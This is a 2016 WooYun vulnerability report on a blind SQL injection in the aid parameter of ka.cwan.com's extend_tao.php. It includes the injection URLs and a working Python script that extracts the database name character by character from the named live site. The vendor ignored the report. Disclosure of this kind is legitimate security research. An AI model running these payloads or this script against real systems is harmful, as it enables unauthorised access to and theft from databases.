当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2016-0174710

漏洞标题：中国玩家网发卡中心SQL注入

相关厂商：中国玩家网

漏洞作者： MARCH0

提交时间：2016-02-04 09:36

修复时间：2016-02-22 09:00

公开时间：2016-02-22 09:00

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：20

漏洞状态：漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2016-02-04： 细节已通知厂商并且等待厂商处理中
2016-02-22： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

详细说明：

盲注
http://ka.cwan.com/extend_tao.php?aid=583440'报错

注入报错.png


http://ka.cwan.com/extend_tao.php?aid=583440 and ord(mid(database(),1,1))<99
http://ka.cwan.com/extend_tao.php?aid=583440 and ord(mid(database(),1,1))<100
返回不一样，可以盲注

漏洞证明：

附上垃圾脚本

#coding=utf-8
import requests
def binary_sqli(left, right, index):
   global result
   while 1:
        mid = (left + right)/2
        if mid == left:
            result += chr(mid+1)
            print result
            break
        payload = ' and ord(mid(database(),%s,1))>%s' % (str(index), mid)
        html = requests.get('http://ka.cwan.com/extend_tao.php?aid=583440'+payload).content
        # print html
        verify = "Uninitialized" #utf8版本
        if verify in html:
            right = mid
            # print html
        else:
            left = mid
                   
if __name__ == '__main__':
    for i in range(1,50):
        binary_sqli(35, 127, i)


数据库cwebgame
用户cwebgame@localhost
没有进一步读表和数据

修复方案：

过滤

版权声明：转载请注明来源 MARCH0@乌云

漏洞回应

厂商回应：

危害等级：无影响厂商忽略

忽略时间：2016-02-22 09:00

厂商回复：

漏洞Rank：4 (WooYun评价)

最新状态：

暂无